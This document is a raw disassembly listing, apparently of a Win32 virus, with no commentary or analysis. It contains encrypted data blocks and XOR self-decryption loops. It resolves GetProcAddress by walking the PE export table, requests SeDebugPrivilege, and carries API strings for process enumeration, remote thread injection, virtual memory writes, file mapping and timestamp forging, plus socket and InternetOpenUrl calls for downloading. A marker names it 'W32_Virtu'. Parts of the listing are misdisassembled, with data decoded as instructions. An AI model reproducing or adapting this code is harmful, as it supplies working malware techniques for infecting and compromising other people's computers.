		dd 8B107E8Bh, 0F71EE30Fh, 0C1h,	3077580h, 4141044Bh, 0E18106EBh
		dd 7FFFFFFFh, 0FF33FF51h, 0EBAB2855h, 14C683DEh, 438BC7EBh
		dd 147B8D10h, 0ADC7348Dh, 5013E391h, 5051C48Bh,	92AD206Ah
		dd 0FF5250ADh, 0E2593855h, 9D6158EFh, 54EC83C3h, 768BFC8Bh
		dd 0ACD78B0Ch, 374C084h, 0E8F8EBAAh, 0Bh, 746F6E20h, 756F6620h
		dd 5E00646Eh, 0C084AAACh, 6AFA75h, 6A5257h, 6E8h, 72724500h
		dd 5E00726Fh, 0C084AAACh, 0BE8FA75h, 55000000h,	33524553h
		dd 4C442E32h, 55FF004Ch, 0CE82Ch, 654D0000h, 67617373h
		dd 786F4265h, 0FF500041h, 0D0FF2855h, 487CC483h, 2CC8C3h
		dd 5D8B6000h, 8D038B0Ch, 89048344h, 3353F845h, 0FC4589C0h
		dd 89F44589h, 4589F045h, 4589400Ch, 0E84589ECh,	89E44589h
		dd 7D8BD845h, 400B810h,	36B90000h, 0F3000307h, 5A056AABh
		dd 3BEE8h, 0F8754A00h, 8B58FF6Ah, 4D8BF075h, 10558BF4h
		dd 0C103E683h, 0CE0304E1h, 0E88A148Dh, 3B9h, 0D6830Fh
		dd 0D0E80000h, 0F000003h, 69FC4DB6h, 0C00C9h, 8BDB3300h
		dd 83431075h, 8D07F47Dh, 1CD8318Ch, 4D890000h, 8B547CE0h
		dd 4D2BF04Dh, 8758BECh,	310CB60Fh, 0D1DC4D89h, 758BDC65h
		dd 0E07D8BDCh, 100E681h, 0C8D0000h, 8F948D1Eh, 400h, 360E8h
		dd 0E80D7300h, 37Bh, 0F685DB03h, 0DEB3875h, 383E8h, 8DF68500h
		dd 74011B5Ch, 0FB8129h,	7C000001h, 8B27EBBEh, 148DE04Dh
		dd 32FE899h, 9730000h, 34AE8h, 0EBDB0300h, 356E809h, 5C8D0000h
		dd 0FB81011Bh, 100h, 758BD97Ch,	84D8BF0h, 83F045FFh, 8804F47Dh
		dd 1C88FC5Dh, 83097D0Eh, 0E900F465h, 0FFFFFF23h, 0AF47D83h
		dd 6D83097Dh, 14E903F4h, 83FFFFFFh, 0E906F46Dh,	0FFFFFF0Bh
		dd 30FE8h, 0F4558B00h, 8D104D8Bh, 3009194h, 0C6E80000h
		dd 73000002h, 2E1E836h,	7D830000h, 4D8B07F4h, 0D84D89E8h
		dd 89E44D8Bh, 4D8BE84Dh, 0E44D89ECh, 6583067Dh,	5EB00F4h
		dd 458F036Ah, 10558BF4h, 0CC8C281h, 0EEE90000h,	0E8000000h
		dd 2C0h, 8BF44D8Bh, 948D1055h, 3308Ah, 277E800h, 56730000h
		dd 292E8h, 0F44D8B00h, 0C10FC183h, 7D8B04E1h, 8DCE0310h
		dd 5AE88F14h, 73000002h, 275E832h, 758B0000h, 83C933F0h
		dd 8B07F47Dh, 9D0F0855h, 94C8DC1h, 0F44D8909h, 2BF04D8Bh
		dd 45FFEC4Dh, 110C8AF0h, 88FC4D88h, 54E9160Ch, 0E8FFFFFEh
		dd 258h, 51E863EBh, 8B000002h, 4D8B1055h, 8A948DF4h, 360h
		dd 208E8h, 0E80A7300h, 223h, 0EBE44D8Bh, 22EE837h, 4D8B0000h
		dd 10558BF4h, 908A948Dh, 0E8000003h, 1E5h, 0E80A73h, 8B000002h
		dd 0EEBE84Dh, 20BE8h, 0E8558B00h, 89D84D8Bh, 558BD855h
		dd 0E85589E4h, 89EC558Bh, 4D89E455h, 83C933ECh,	0F07F47Dh
		dd 8349C19Dh, 0C183FDE1h, 0F44D890Bh, 8110558Bh, 14D0C2h
		dd 19BE800h, 10730000h,	1B6E8h,	0C1006A00h, 5C8D05E6h
		dd 20EB0816h, 1BBE8h, 4C28300h,	17CE8h,	0E8157300h, 197h
		dd 8D05E6C1h, 204169Ch,	86A0000h, 0FEB036Ah, 197E8h, 49A8D00h
		dd 6A000004h, 59086A10h, 51D44D89h, 18BE8h, 0F6335900h
		dd 0D3DA8B46h, 0CE2B59E6h, 7D83D903h, 0F5304F4h, 0BD8Dh
		dd 0F4458300h, 4FB8307h, 0CB8B047Dh, 36A03EBh, 10758B59h
		dd 8D08E1C1h, 6C0319Ch,	66A0000h, 0E8D4458Fh, 14Ch, 8340EA83h
		dd 0FA8B04FAh, 5B8C0Fh,	0CA8B0000h, 0E783F9D1h,	0CF834901h
		dd 0EFA8302h, 7DD44D89h, 8BE7D312h, 8BCA2BCFh, 9C8D1055h
		dd 0ABC8Ah, 832CEB00h, 0E85104E9h, 0B0h, 0FF03E8D1h, 720C4539h
		dd 0C452906h, 5901CF83h, 5D8BE8E2h, 88C38110h, 0C100000Ch
		dd 46A04E7h, 6AD4458Fh,	0DC458F01h, 0E3E8h, 7D894700h
		dd 2C745BECh, 43F04D8Bh, 343CF2Bh, 118A084Dh, 8BF0758Bh
		dd 0FF4B087Dh, 8541F045h, 0FC5588DBh, 753E1488h, 0FCA5E9E9h
		dd 8B5BFFFFh, 0D4EBEC7Dh, 0E30F8B5Fh, 8B046A46h, 4D8B0875h
		dd 0C7835AF0h, 73D13B04h, 3C42AC36h, 3C1674E8h,	3C1274E9h
		dd 3BEE750Fh, 0AC2473D1h, 72803C42h, 778F3CEAh,	74173BE6h
		dd 3C068BD9h, 32D6750Dh, 2BC80FC0h, 830689C2h, 0C28304C6h
		dd 61C6EB04h, 0CC2C9h, 3Dh, 56197301h, 8BF8758Bh, 0B60F0C4Dh
		dd 8E1C136h, 0E0C1CE0Bh, 0F845FF08h, 5E0C4D89h,	0FFDAE8C3h
		dd 0A8BFFFFh, 0EFC1F88Bh, 0F9AF0F0Bh, 0C30C7D39h, 0BFC78Bh
		dd 2B000008h, 5EFC1F9h,	0E8C3F903h, 0FFFFFFECh,	29C33A89h
		dd 0C72B0C7Dh, 0EFC1F98Bh, 0C3CF2B05h, 0FFFFEEE8h, 0C30A89FFh
		dd 5742D233h, 0FFFF97E8h, 930C8BFFh, 0FFFFB7E8h, 0E80D73FFh
		dd 0FFFFFFBCh, 3933C89h, 10EB5FD2h, 0FFFFC6E8h,	930C89FFh
		dd 112548Dh, 0DC7D0B5Fh, 0FFDC65D1h, 0CB75D44Dh, 0FA21E8C3h
		dd 0FFFFh, 5D09h, 0D0140040h, 17C004Eh,	10061h,	10000000h
		dd 0E74D0040h, 9
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_6106C1
		call	sub_610731
		mov	ebp, fs:0
		lea	ebp, [ebp+8]
		jmp	loc_6106EA
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_6106C1	proc near		; CODE XREF: start+3p

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 0061075D SIZE 0000010A BYTES
; FUNCTION CHUNK AT 006108D5 SIZE 0000000A BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		xor	ecx, ecx
		push	40h
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	80000000h
		push	ecx
		push	80000000h
		push	ecx
		call	ds:dword_610038	; LoadLibraryA


loc_6106EA:				; CODE XREF: start+16j
		sub	eax, eax


loc_6106EC:				; CODE XREF: sub_6106C1+31j
		dec	al
		or	al, al
		jz	short loc_6106F6
		jnz	short loc_6106EC
		jmp	short loc_61075D
; ---------------------------------------------------------------------------


loc_6106F6:				; CODE XREF: sub_6106C1+2Fj
		call	$+5
		pop	esi
		add	esi, 43h
		push	esi
		mov	edi, 243Ch
		sub	edx, edx
		add	edx, 0B2h


loc_610710:				; CODE XREF: sub_6106C1+5Ej
		xchg	al, [esi]
		xor	ax, dx
		xchg	al, [esi]
		add	esi, 1
		sub	edi, 1
		or	edi, edi
		jnz	short loc_610710
		pop	esi
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	esi
sub_6106C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_610731	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_610731	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_61078A
; START	OF FUNCTION CHUNK FOR sub_6106C1


loc_61075D:				; CODE XREF: sub_6106C1+33j
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_610781
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_610789
; ---------------------------------------------------------------------------


loc_610781:				; CODE XREF: sub_6106C1+B1j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_610789:				; CODE XREF: sub_6106C1+BEj
		pop	ebx


loc_61078A:				; CODE XREF: .XComp:0061075Bj
		push	ebp
		xchg	eax, ebp
		sub	[esp+28h+var_24], 744h
		and	ebx, 0FFFFF000h
		sub	ebp, 401006h
		mov	edi, [esp+28h+var_24]
		lea	esi, [ebp+40343Ch]
		mov	ecx, 0
		rep movsb


loc_6107B1:				; CODE XREF: sub_6106C1+10Cj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_6107C7
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_6107CF


loc_6107C7:				; CODE XREF: sub_6106C1+F7j
		sub	ebx, 100h
		jnz	short loc_6107B1


loc_6107CF:				; CODE XREF: sub_6106C1+104j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_6107DD:				; CODE XREF: sub_6106C1:loc_610804j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_610804
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_610804
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_610804
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_610809


loc_610804:				; CODE XREF: sub_6106C1+126j
					; sub_6106C1+12Fj ...
		loop	loc_6107DD
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_610809:				; CODE XREF: sub_6106C1+141j
		sub	[esp+2Ch+var_2C], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_61082F+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_61088D+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_61082F:				; CODE XREF: sub_6106C1+15Fp
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_61084B+1
		inc	ebx
		jb	short near ptr loc_6108A6+1
		popa
		jz	short near ptr loc_6108A6+4
		inc	ebp
		jbe	short near ptr loc_6108AC+1
		outsb
		jz	short near ptr loc_61088A+2


loc_61084B:				; CODE XREF: sub_6106C1+179p
		add	[ebx-1], dl
		setalc
		mov	dword ptr ss:loc_403540[ebp], eax
		call	sub_610867
		inc	edi
		db	65h
		jz	short near ptr loc_6108A6+4
		popa
		jnb	short loc_6108D5
		inc	ebp
		jb	short near ptr loc_6108D5+1
		outsd
		jb	short $+2
; END OF FUNCTION CHUNK	FOR sub_6106C1

; =============== S U B	R O U T	I N E =======================================



sub_610867	proc near		; CODE XREF: sub_6106C1+194p

; FUNCTION CHUNK AT 00610910 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 00610A50 SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	[ebp+403544h], eax
		call	sub_6108E5
		test	eax, eax
		jz	short loc_61089A
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_610894
		lea	eax, [ebp+4011D2h]


loc_61088A:				; CODE XREF: sub_6106C1+188j
		mov	dl, [eax-1]


loc_61088D:				; CODE XREF: sub_6106C1+167j
		call	sub_610900
		jmp	short loc_610910
; ---------------------------------------------------------------------------


loc_610894:				; CODE XREF: sub_610867+1Bj
					; sub_610867+136j ...
		call	dword ptr [ebp+40353Ch]


loc_61089A:				; CODE XREF: sub_610867+10j
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_6108C4


loc_6108A6:				; CODE XREF: sub_6106C1+17Fj
					; sub_6106C1+182j ...
		lea	esi, [ebp+403435h]


loc_6108AC:				; CODE XREF: sub_6106C1+185j
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, dword ptr ss:loc_4039B2[ebp]
		mov	esi, [ebp+4039B6h]
		mov	edi, dword ptr ss:loc_4039BA[ebp]


loc_6108C4:				; CODE XREF: sub_610867+3Dj
		pop	ebp
		retn
sub_610867	endp

; ---------------------------------------------------------------------------


loc_6108C6:				; CODE XREF: sub_6108E5+2p
					; sub_610867:loc_610ACFp
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6106C1


loc_6108D5:				; CODE XREF: sub_6106C1+19Ej
					; sub_6106C1+1A1j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_6106C1
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_6108E5	proc near		; CODE XREF: sub_610867+9p
		xor	ecx, ecx
		call	loc_6108C6
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr ss:loc_403540[ebp]
		add	esp, 20h
		retn
sub_6108E5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_610900	proc near		; CODE XREF: sub_610867:loc_61088Dp
					; sub_6126D4+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_610907:				; CODE XREF: sub_610900+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_610907
		retn
sub_610900	endp

; ---------------------------------------------------------------------------
		db 7Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_610867


loc_610910:				; CODE XREF: sub_610867+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr ss:loc_401584[ebp], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, dword ptr ss:loc_403431[ebp]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_610937:				; CODE XREF: sub_610867+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_610937
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	[ebp+403548h], esi
		lea	esi, loc_4015BB[ebp]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_610CCA
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_610A50
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_610894
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, loc_401283[ebp]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_610867
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+401A3Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_610894
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_610894
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_610A40
		jmp	loc_610894

; =============== S U B	R O U T	I N E =======================================



sub_610A40	proc near		; CODE XREF: .XComp:00610A36p
					; sub_610A40+Dj
		push	1
		pop	ecx
		jecxz	short locret_610A4F
		push	0Ah
		call	dword ptr ss:loc_4035BC[ebp]
		jmp	short sub_610A40
; ---------------------------------------------------------------------------

locret_610A4F:				; CODE XREF: sub_610A40+3j
		retn
sub_610A40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_610867


loc_610A50:				; CODE XREF: sub_610867+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_610894
		call	near ptr loc_610A67+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_610A67:				; CODE XREF: sub_610867+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_610A84+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_610CCA


loc_610A84:				; CODE XREF: sub_610867+209j
		cmp	dword ptr [ebp+4035F8h], 0
		jz	loc_610894
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, [ebp+4035D8h]
		push	dword ptr [eax+1]
		pop	dword ptr ss:loc_4033E9[ebp]
		mov	ecx, [ebp+4035DCh]
		jecxz	short loc_610ACF
		push	dword ptr [ecx+1]
		pop	dword ptr ss:loc_4033F6[ebp]


loc_610ACF:				; CODE XREF: sub_610867+25Dj
		call	loc_6108C6
		lea	edi, [ebp+40364Eh]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_610B14:				; CODE XREF: sub_610867+2B0j
		lodsb
		stosw
		loop	loc_610B14
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_610894
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_610867
; ---------------------------------------------------------------------------
		dw 958Dh
		dd offset loc_4018DF+1
		dd 9C95FF52h, 0E8004035h, 16h
aLookupprivil_0	db 'LookupPrivilegeValueA',0
		dw 0FF50h
		dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh
		dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
		dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
		dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h,	4035D095h
		dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h,	40357095h
		dd 128B900h, 2B970000h,	240C89E1h, 95FF5754h, 4035ACh
		dd 0A583F633h, 40363Ch,	0FF575400h, 4035B095h, 74C08500h
		dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h
		dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h
		dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h
		dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h
		dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h
		dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h,	29CE0058h
		dd 0D650000h, 3	dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_610CCA	proc near		; CODE XREF: sub_610867+100p
					; sub_610867+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+403548h]
		stosd
		pop	ecx


loc_610CD5:				; CODE XREF: sub_610CCA+Ej
		lodsb
		test	al, al
		jnz	short loc_610CD5
		loop	sub_610CCA
		retn
sub_610CCA	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32fir_0	db 'Process32First',0
aProcess32nex_0	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0	db 'WSAStartup',0
aClosesocket_0	db 'closesocket',0
aConnect_0	db 'connect',0
aGethostbynam_0	db 'gethostbyname',0
aRecv_0		db 'recv',0
aSend_2		db 'send',0
aSocket_0	db 'socket',0
aInternetclos_0	db 'InternetCloseHandle',0
aInternetgetc_1	db 'InternetGetConnectedState',0
aInternetopen_0	db 'InternetOpenA',0
aInternetopen_1	db 'InternetOpenUrlA',0
aInternetread_0	db 'InternetReadFile',0
aAdvapi32_dll_1	db 'ADVAPI32.DLL',0
aRegclosekey_0	db 'RegCloseKey',0
aRegopenkeyex_0	db 'RegOpenKeyExA',0
aRegqueryvalu_0	db 'RegQueryValueExA',0
aRegsetvaluee_0	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_611065	proc near		; CODE XREF: .XComp:0061110Cp
					; .XComp:0061111Dp ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr ss:loc_4035F4[ebp]
		add	esp, 8
		retn
sub_611065	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr ss:loc_4035A4[ebp]
		test	eax, eax
		jz	loc_611148
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_611148
		mov	ecx, [ebp+401588h]
		jecxz	short loc_611100
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_611100:				; CODE XREF: .XComp:006110F2j
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		lea	ecx, [edi+2394h]
		call	sub_611065
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		lea	ecx, [edi+23E1h]
		call	sub_611065
		mov	eax, [ebp+4035D8h]
		lea	ecx, [edi+23E8h]
		call	sub_611065
		mov	eax, [ebp+4035DCh]
		test	eax, eax
		jz	short loc_611148
		lea	ecx, [edi+23F5h]
		call	sub_611065


loc_611148:				; CODE XREF: .XComp:006110B2j
					; .XComp:006110EAj ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, [ebp+401DAEh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h
		dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h
		dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h
		dd 240040h, 0C35D002Ah,	16A016Ah, 73FF33FFh, 8515FF04h
		dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh
		dd 8A8B0000h, 108h, 0CB2BF803h,	0F3CB8B60h, 57461A6h, 0EBF5E247h
		dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah
		dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh
		dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9,	0AA61428Dh, 0F075C9FEh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_61122D	proc near		; CODE XREF: sub_611A98+1Bp
					; sub_611C10+3p ...
		imul	edx, dword ptr ss:loc_403646[ebp], 8088405h
		inc	edx
		mov	dword ptr ss:loc_403646[ebp], edx
		mul	edx
		retn
sub_61122D	endp

; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h
		dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h
		dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h
		dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h
		dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh
		dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h,	0E31674C0h
		dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h
		dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh
		dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h
		dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h
		dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h
		dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh
		dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h
		dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh
		dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh
		dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h
		dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h
		dd 0F0D3CACh, 9984h, 75203C00h,	3A3CACF3h, 8C850Fh, 0DAD0000h
		dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch,	20FF7E81h
		dd 75747468h, 37E8171h,	2F2F3A70h, 47C66875h, 310F00FFh
		dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h
		dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h
		dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h
		dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h
